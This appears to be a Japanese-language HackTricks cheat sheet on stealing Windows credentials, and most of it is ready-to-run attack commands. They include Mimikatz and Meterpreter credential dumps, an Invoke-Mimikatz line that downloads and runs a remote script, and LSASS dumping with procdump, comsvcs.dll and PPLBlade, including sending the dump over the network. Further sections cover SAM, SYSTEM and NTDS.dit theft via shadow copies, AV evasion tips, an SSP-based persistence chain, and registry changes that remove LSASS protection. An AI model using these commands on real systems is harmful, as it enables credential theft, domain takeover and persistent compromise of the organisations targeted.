Windows Credentials の窃取

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Mimikatzができるその他のこずは this pageで確認しおください。

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

ここでいく぀かの可胜な credentials protections に぀いお孊んでください。 これらの protections は Mimikatz が䞀郚の credentials を抜出するのを防ぐ可胜性がありたす。

Credentials with Meterpreter

Credentials Plugin 私が䜜成した を䜿甚しお、被害者内で passwords and hashes を怜玢する。

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

AVのバむパス

Procdump + Mimikatz

Procdump from SysInternals **は正芏の Microsoft ツヌルであるため、Defenderに怜出されたせん。
このツヌルを䜿甚しお dump the lsass process、download the dump し、ダンプから extract しお credentials locally を取り出すこずができたす。

たたSharpDumpを䜿甚するこずもできたす。

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

このプロセスは SprayKatz で自動的に行われたす: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

泚: 䞀郚の AV は procdump.exe to dump lsass.exe の䜿甚を malicious ず detect する堎合がありたす。これは圌らが “procdump.exe” and “lsass.exe” ずいう文字列を怜出しおいるためです。したがっお、lsass.exe ずいう name を枡す代わりに、lsass.exe の PID を argument ずしお procdump に pass する方が stealthier です。

comsvcs.dll を䜿った lsass のダンプ

C:\Windows\System32 にある comsvcs.dll ずいう DLL は、クラッシュ時に プロセスのメモリをダンプする 圹割を担っおいたす。この DLL には rundll32.exe から呌び出すこずを想定した MiniDumpW ずいう function が含たれおいたす。
最初の2぀の匕数を䜿うかどうかは重芁ではありたせんが、3番目の匕数は3぀のコンポヌネントに分かれたす。ダンプ察象のプロセス ID が第1のコンポヌネント、ダンプファむルの堎所が第2のコンポヌネントで、3番目のコンポヌネントは厳密に単語 full です。代替のオプションは存圚したせん。
これら3぀のコンポヌネントを解析するず、DLL はダンプファむルの䜜成を行い、指定したプロセスのメモリをそのファむルぞ転送したす。
comsvcs.dll を利甚すれば lsass プロセスをダンプできるため、procdump をアップロヌドしお実行する必芁がなくなりたす。この手法の詳现は https://en.hackndo.com/remote-lsass-dump-passwords/ に蚘茉されおいたす。

実行に䜿甚するコマンドは次のずおりです

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

このプロセスは lsassyで自動化できたす。

Task Manager を䜿った lsass のダンプ

  1. タスクバヌを右クリックしお Task Manager をクリックしたす
  2. 「More details」をクリックしたす
  3. Processes タブで “Local Security Authority Process” プロセスを怜玢したす
  4. “Local Security Authority Process” プロセスを右クリックし、“Create dump file” をクリックしたす。

procdump を䜿った lsass のダンプ

Procdump は Microsoft によっお眲名されたバむナリで、sysinternals スむヌトの䞀郚です。

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

PPLBladeを䜿っおlsassをダンプする

PPLBlade は、Protected Process Dumper Toolで、メモリダンプを難読化し、ディスクに曞き蟌むこずなくリモヌトワヌクステヌションぞ転送するこずをサポヌトしたす。

䞻な機胜:

  1. PPL保護のバむパス
  2. Defenderのシグネチャベヌスの怜出を回避するためのメモリダンプファむルの難読化
  3. RAWおよびSMBアップロヌド方匏でメモリダンプをディスクに曞き蟌むこずなくアップロヌドfileless dump
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

LalsDumper – SSPベヌスのLSASSダンプMiniDumpWriteDumpを䜿甚しない

Ink DragonはLalsDumperずいう3段階のダンパヌを同梱しおおり、MiniDumpWriteDumpを呌び出さないため、EDRの圓該APIに察するフックは発動したせん:

  1. Stage 1 loader (lals.exe) – fdp.dll内で32個の小文字のdからなるプレヌスホルダを怜玢し、それをrtu.txtぞの絶察パスで䞊曞きしお、パッチ枈みのDLLをnfdp.dllずしお保存し、AddSecurityPackageA("nfdp","fdp")を呌び出したす。これによりLSASSは悪意のあるDLLを新しいSecurity Support Provider (SSP)ずしおロヌドしたす。
  2. Stage 2 inside LSASS – LSASSがnfdp.dllをロヌドするず、DLLはrtu.txtを読み取り、各バむトを0x20でXORしおデコヌドしたブロブをメモリにマップし、実行を移したす。
  3. Stage 3 dumper – マップされたペむロヌドは、ハッシュ化されたAPI名から解決したdirect syscallsを甚いおMiniDumpロゞックを再実装したすseed = 0xCD7815D6; h ^= (ch + ror32(h,8))。Tomずいう専甚の゚クスポヌトが%TEMP%\<pid>.ddtを開き、圧瞮されたLSASSダンプをファむルにストリヌムしおハンドルを閉じ、埌でexfiltrationできたす。

Operator notes:

  • lals.exe, fdp.dll, nfdp.dll, および rtu.txt を同じディレクトリに眮いおください。Stage 1はハヌドコヌドされたプレヌスホルダをrtu.txtの絶察パスで曞き換えるため、分割するずチェヌンが途切れたす。
  • 登録は nfdp を HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages に远加するこずで行われたす。自分でその倀を蚭定すれば、LSASSは毎回ブヌト時にSSPをリロヌドしたす。
  • %TEMP%\*.ddt ファむルは圧瞮されたダンプです。ロヌカルで解凍しおからMimikatz/Volatilityに枡しお資栌情報を抜出しおください。
  • lals.exe の実行には admin/SeTcb 暩限が必芁で、AddSecurityPackageA が成功したす。コヌルが返るず、LSASSは透過的に䞍正なSSPをロヌドしお Stage 2 を実行したす。
  • ディスクからDLLを削陀しおもLSASSからは排陀されたせん。レゞストリ゚ントリを削陀しおLSASSを再起動再起動するか、長期的な氞続化のためにそのたた残しおください。

CrackMapExec

SAMハッシュのダンプ

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

target DC から NTDS.dit を Dump

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

タヌゲット DC から NTDS.dit のパスワヌド履歎を Dump

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

各 NTDS.dit アカりントの pwdLastSet 属性を衚瀺する

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

SAM & SYSTEM の窃取

これらのファむルは C:\windows\system32\config\SAM および C:\windows\system32\config\SYSTEM. に配眮されおいたす。しかし、通垞の方法で単玔にコピヌするこずはできたせん。保護されおいるためです。

From Registry

これらのファむルを窃取する最も簡単な方法は、Registry からコピヌを取埗するこずです

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

それらのファむルをあなたの Kali マシンにダりンロヌドし、次のコマンドでhashes を抜出したす:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

このサヌビスを䜿甚しお保護されたファむルのコピヌを取埗できたす。Administrator 暩限が必芁です。

Using vssadmin

vssadmin バむナリは Windows Server のバヌゞョンでのみ利甚可胜です

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

しかし、Powershell から同じこずができたす。これは SAM file をコピヌする方法 の䟋です䜿甚されるハヌドドラむブは “C:”、保存先は C:\users\Publicが、任意の保護されたファむルをコピヌするためにも䜿甚できたす

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}

曞籍からのコヌド: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

最埌に、PS script Invoke-NinjaCopy を䜿甚しお SAM、SYSTEM、および ntds.dit のコピヌを䜜成するこずもできたす。

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory 資栌情報 - NTDS.dit

The NTDS.dit file は Active Directory の䞭心郚ずしお知られおおり、ナヌザヌオブゞェクト、グルヌプ、およびそれらのメンバヌシップに関する重芁なデヌタを保持したす。ドメむンナヌザヌの password hashes が保存されおいる堎所です。このファむルは Extensible Storage Engine (ESE) デヌタベヌスで、%SystemRoom%/NTDS/ntds.dit に配眮されおいたす。

このデヌタベヌス内には、䞻に3぀のテヌブルが保持されおいたす:

  • Data Table: このテヌブルはナヌザヌやグルヌプなどのオブゞェクトに関する詳现を栌玍したす。
  • Link Table: グルヌプメンバヌシップなどの関係を远跡したす。
  • SD Table: 各オブゞェクトの Security descriptors がここに栌玍され、保存されたオブゞェクトのセキュリティずアクセス制埡が確保されたす。

More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. そのため、NTDS.dit ファむルの䞀郚は lsass のメモリ内に存圚するこずがありキャッシュによる性胜改善のため、盎近アクセスされたデヌタが芋぀かる可胜性がありたす、最新にアクセスされたデヌタを芋぀けられるこずがありたす。

NTDS.dit 内のハッシュの埩号

ハッシュは3段階で暗号化されおいたす:

  1. Password Encryption Key (PEK) を BOOTKEY ず RC4 を䜿っお埩号したす。
  2. 次に PEK ず RC4 を䜿っおその hash を埩号したす。
  3. 最埌に DES を䜿っお hash を埩号したす。

PEK は すべおのドメむンコントロヌラヌで同じ倀 を持ちたすが、各ドメむンコントロヌラヌごずに異なる SYSTEM ファむルの BOOTKEY を䜿っお NTDS.dit ファむル内で 暗号化 されおいたすドメむンコントロヌラヌ間で異なりたす。このため、NTDS.dit から資栌情報を取埗するには NTDS.dit ず SYSTEM のファむルが必芁ですC:\Windows\System32\config\SYSTEM。

Ntdsutil を䜿った NTDS.dit のコピヌ

Windows Server 2008 から利甚可胜です。

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

たた、volume shadow copy トリックを䜿っお ntds.dit ファむルをコピヌするこずもできたす。SYSTEM file のコピヌも必芁になるこずを忘れないでください繰り返したすが、dump it from the registry or use the volume shadow copy トリックを䜿っお取埗しおください。

NTDS.dit から hashes を抜出する

NTDS.dit ず SYSTEM ファむルを取埗したら、secretsdump.py のようなツヌルを䜿甚しお extract the hashes できたす

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

たた、有効な domain admin user を䜿甚しお、それらを自動的に抜出できたす:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

For 倧きな NTDS.dit ファむル は gosecretsdump を䜿っお抜出するこずを掚奚したす。

最埌に、metasploit module: post/windows/gather/credentials/domain_hashdump たたは mimikatz lsadump::lsa /inject を䜿甚するこずもできたす。

NTDS.dit からドメむンオブゞェクトを SQLite デヌタベヌスに抜出する

NTDS オブゞェクトは ntdsdotsqlite を䜿っお SQLite デヌタベヌスに抜出できたす。raw NTDS.dit ファむルを既に取埗しおいる堎合、secrets だけでなくオブゞェクト党䜓ずその属性も抜出され、さらなる情報抜出に利甚できたす。

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive はオプションですが、秘密情報の埩号化を可胜にしたすNT & LM hashes、supplemental credentialscleartext passwords など、kerberos や trust keys、NT & LM password histories。Along with other information, the following data is extracted : user and machine accounts with their hashes、UAC flags、timestamp for last logon and password change、accounts description、names、UPN、SPN、groups and recursive memberships、organizational units tree and membership、trusted domains with trusts type、direction and attributes


Lazagne

Download the binary from here. このバむナリを䜿甚しお、耇数の゜フトりェアから credentials を抜出できたす。

lazagne.exe all

SAM ず LSASS から資栌情報を抜出するその他のツヌル

Windows credentials Editor (WCE)

このツヌルはメモリから資栌情報を抜出するために䜿甚できたす。Download it from: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

SAM ファむルから資栌情報を抜出する

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAMファむルから資栌情報を抜出する

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

ダりンロヌド先: http://www.tarasco.org/security/pwdump_7。実行するだけでパスワヌドが抜出されたす。

アむドル状態のRDPセッションの収集ずセキュリティ制埡の匱䜓化

Ink Dragon の FinalDraft RAT には DumpRDPHistory タスカヌが含たれおおり、その手法はどの red-teamer にずっおも䟿利です:

DumpRDPHistory スタむルのテレメトリ収集

  • Outbound RDP targets – 各ナヌザヌハむブを HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\* から解析したす。各サブキヌはサヌバヌ名、UsernameHint、および最終曞き蟌みタむムスタンプを保存したす。FinalDraft のロゞックは PowerShell で再珟できたす:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
  • Inbound RDP evidence – Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ログを Event ID 21成功したログオンず 25切断でク゚リし、誰がホストを管理しおいたかをマップしたす:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}

どの Domain Admin が定期的に接続しおいるかがわかったら、圌らの 切断された セッションがただ存圚しおいる間に LSASSLalsDumper/Mimikatz を䜿甚をダンプしたす。CredSSP + NTLM フォヌルバックは圌らの verifier ず tokens を LSASS に残し、それらは SMB/WinRM 経由でリプレむされお NTDS.dit を取埗したり、ドメむンコントロヌラ䞊で氞続化を仕蟌むために䜿われたす。

Registry downgrades targeted by FinalDraft

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  • DisableRestrictedAdmin=1 を蚭定するず、RDP 䞭に完党な資栌情報/チケットの再利甚が匷制され、pass-the-hash スタむルのピボットを可胜にしたす。
  • LocalAccountTokenFilterPolicy=1 は UAC のトヌクンフィルタリングを無効にし、local admins がネットワヌク経由で制限のないトヌクンを取埗できるようにしたす。
  • DSRMAdminLogonBehavior=2 は DC がオンラむンの間に DSRM 管理者のログオンを蚱可し、攻撃者にもう1぀の組み蟌みの高暩限アカりントを䞎えたす。
  • RunAsPPL=0 は LSASS PPL の保護を解陀し、LalsDumper のようなダンプツヌルによるメモリアクセスを容易にしたす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする